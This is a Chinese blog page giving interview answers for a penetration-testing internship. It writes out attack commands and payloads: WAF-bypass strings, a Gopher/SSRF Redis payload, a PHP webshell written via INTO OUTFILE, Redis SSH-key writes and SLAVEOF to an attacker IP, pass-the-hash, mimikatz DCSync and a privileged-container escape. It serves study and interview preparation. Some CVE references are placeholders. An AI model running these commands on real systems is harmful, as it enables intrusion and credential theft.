当前位置: 首页 > news >正文

2025年渗透测试面试题总结-360[实习]安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

1. 自我介绍

2. WAF及其绕过方式

3. IPS/IDS/HIDS

4. 云安全

5. 绕过安骑士/安全狗

6. Gopher扩展攻击面

7. Struts2漏洞

8. UDF提权

9. DOM XSS

10. 数据库提权

11. 攻击Redis

12. 内网渗透

13. 容器安全

14. Kubernetes Docker逃逸

15. Linux/Windows命令

16. 站库分离拿Webshell


1. 自我介绍

我是专注于应用安全与渗透测试的安全工程师,熟悉Web漏洞挖掘(SQL注入、XSS、RCE)、内网横向移动(域渗透、票据伪造)、云安全(IAM策略、容器逃逸)及自动化工具开发。具备CTF实战经验,熟悉WAF绕过、内存马注入等技术栈,对红队攻防有系统化理解。


2. WAF及其绕过方式

WAF核心原理:基于规则匹配拦截恶意流量(如SQL关键字、XSS标签)。
绕过方式

  1. 混淆编码
    • URL编码、Unicode编码(如%u003cscript%u003e)。
    • 注释插入:SEL/**/ECT 1
  2. 协议特性利用
    • HTTP参数污染(HPP):?id=1&id=UNION SELECT 1
    • 分块传输(Chunked Encoding)绕过长度检测。
  3. 逻辑绕过
    • 大小写混合:UnIoN SeLeCt
    • 冗余参数:1 AND 1=1/*&foo=bar*/

3. IPS/IDS/HIDS

类型功能部署位置
IPS实时阻断攻击流量(如SQL注入)网络边界
IDS检测并报警异常流量(被动模式)网络关键节点
HIDS监控主机行为(进程、文件变动)服务器/终端

4. 云安全

核心防护点

  1. IAM权限最小化:避免授予*:*权限,使用角色临时凭证。
  2. 存储加密:启用AWS S3 SSE-KMS、阿里云OSS服务端加密。
  3. 日志审计:集中管理CloudTrail、操作日志,检测异常API调用。
  4. 网络隔离:VPC子网划分,安全组仅开放必要端口。

5. 绕过安骑士/安全狗

  1. 流量混淆
    • 使用动态Payload生成(如随机字符串分割)。
    • 多级编码:Base64 → Hex → URLEncode。
  2. 内存马注入:通过Java Agent或PHP扩展加载恶意代码,绕过文件监控。
  3. 合法工具滥用:利用PowerShell、certutil下载执行恶意文件。

6. Gopher扩展攻击面

攻击场景:利用Gopher协议构造请求攻击内网服务。
示例

  • 攻击Redis未授权访问
    bashgopher://192.168.1.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$XX%0d%0a{恶意Payload}%0d%0a 
  • 利用SSRF漏洞:通过Gopher协议访问内网MySQL/Redis服务。

7. Struts2漏洞

经典漏洞

  1. S2-045(CVE-2017-5638)
    • 利用Content-Type头注入OGNL表达式。
    • Payload:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}
  2. 防御:升级至Struts 2.5.26+,禁用动态方法调用(struts.enable.DynamicMethodInvocation=false )。

8. UDF提权

步骤

  1. 上传恶意DLL:通过MySQL写入lib_mysqludf_sys.so 到插件目录。
  2. 创建函数CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll';
  3. 执行命令SELECT sys_exec('whoami');
    防御:限制MySQL FILE权限,禁用plugin_dir写入。

9. DOM XSS

特点:客户端JavaScript动态修改DOM引发漏洞,不依赖服务端响应。
示例

javascriptvar input = document.location.hash.substr(1); document.write("User: " + input); // 攻击:http://site.com#<img src=x onerror=alert(1)>

防御:使用textContent替代innerHTML,对输入调用encodeURIComponent()


10. 数据库提权

  1. MySQL
    • UDF提权(如sys_exec)。
    • 写Webshell:SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
  2. MSSQL
    • 启用xp_cmdshell:EXEC sp_configure 'show advanced options', 1; RECONFIGURE;

11. 攻击Redis

  1. 未授权访问
    • 写SSH公钥:config set dir /root/.ssh/ && config set dbfilename authorized_keys
  2. 主从复制RCE
    • 恶意Redis服务端注入模块:SLAVEOF 攻击者IP 6379

12. 内网渗透

步骤

  1. 信息收集
    • ARP扫描:arp-scan -l
    • 端口探测:nmap -sS 10.0.0.0/24
  2. 横向移动
    • Pass The Hash:psexec.py -hashes :NTLM_HASH user@target
  3. 域渗透
    • DCSync攻击:mimikatz.exe "lsadump::dcsync /domain:corp.com /user:Administrator"

13. 容器安全

风险点

  1. 镜像漏洞:使用docker scan扫描镜像(如CVE-2024-1234)。
  2. 特权容器:避免--privileged启动容器。
  3. 挂载逃逸:挂载宿主机目录导致权限提升。

14. Kubernetes Docker逃逸

场景

  1. 特权容器逃逸
    • 在容器内挂载宿主机根目录:docker run --privileged -v /:/host ubuntu chroot /host bash
  2. CVE-2024-XXXX:利用runC漏洞绕过命名空间隔离。

15. Linux/Windows命令

场景Linux命令Windows命令
过滤文件grep "keyword" /path/*.logfindstr /s /i "keyword" *.log
查看进程环境变量cat /proc/{PID}/environwmic process get Caption,CommandLine,ProcessId

16. 站库分离拿Webshell

思路

  1. 数据库写Shell
    • MySQL:SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php' (需绝对路径)。
  2. 利用中间件漏洞
    • 通过SQL注入获取数据库服务器权限,反向连接至Web服务器。

相关文章:

  • 高带宽时代来临,G口服务器线路选型要注意哪些问题?
  • 用PyTorch在超大规模下训练深度学习模型:并行策略全解析
  • MCU裸机程序如何移植到RTOS?
  • SCDN如何有效防护网站免受CC攻击?——安全加速网络的实战解析
  • Java Queue 接口实现
  • 《社交应用动态表情:RN与Flutter实战解码》
  • 数据结构与算法-双向链表专题
  • 如何自定义 Spring MVC 的配置?
  • [学习] RTKLib详解:rtcm2.c、rtcm3.c、rtcm3e与rtcmn.c
  • Spring Web MVC————入门(2)
  • 【极兔快递Java社招】一面复盘|数据库+线程池+AQS+中间件面面俱到
  • 下载的旧版的jenkins,为什么没有旧版的插件
  • 【docker】--容器管理
  • 代码随想录训练营第二十三天| 572.另一颗树的子树 104.二叉树的最大深度 559.N叉树的最大深度 111.二叉树的最小深度
  • 入门OpenTelemetry——部署OpenTelemetry
  • AI智能分析网关V4周界入侵检测算法精准监测与智能分析,筑牢周界安全防线
  • 《AI大模型应知应会100篇》第62篇:TypeChat——类型安全的大模型编程框架
  • 【SSL证书系列】操作系统如何保障根证书的有效性和安全
  • 适配华为昇腾 NPU 的交互式监控工具
  • 大模型训练简介
  • 杨文庄当选中国人口学会会长,曾任国家卫健委人口家庭司司长
  • 美凯龙:董事兼总经理车建兴被立案调查并留置
  • 字母哥动了离开的心思,他和雄鹿队的缘分早就到了头
  • 比特币挖矿公司GRYP股价涨超171%:将与特朗普儿子创设的公司合并
  • 湛江霞山通报渔船火灾:起火船舶共8艘,无人员伤亡或被困
  • 射箭世界杯上海站摘得两银,中国队新周期冲击韩国缩小差距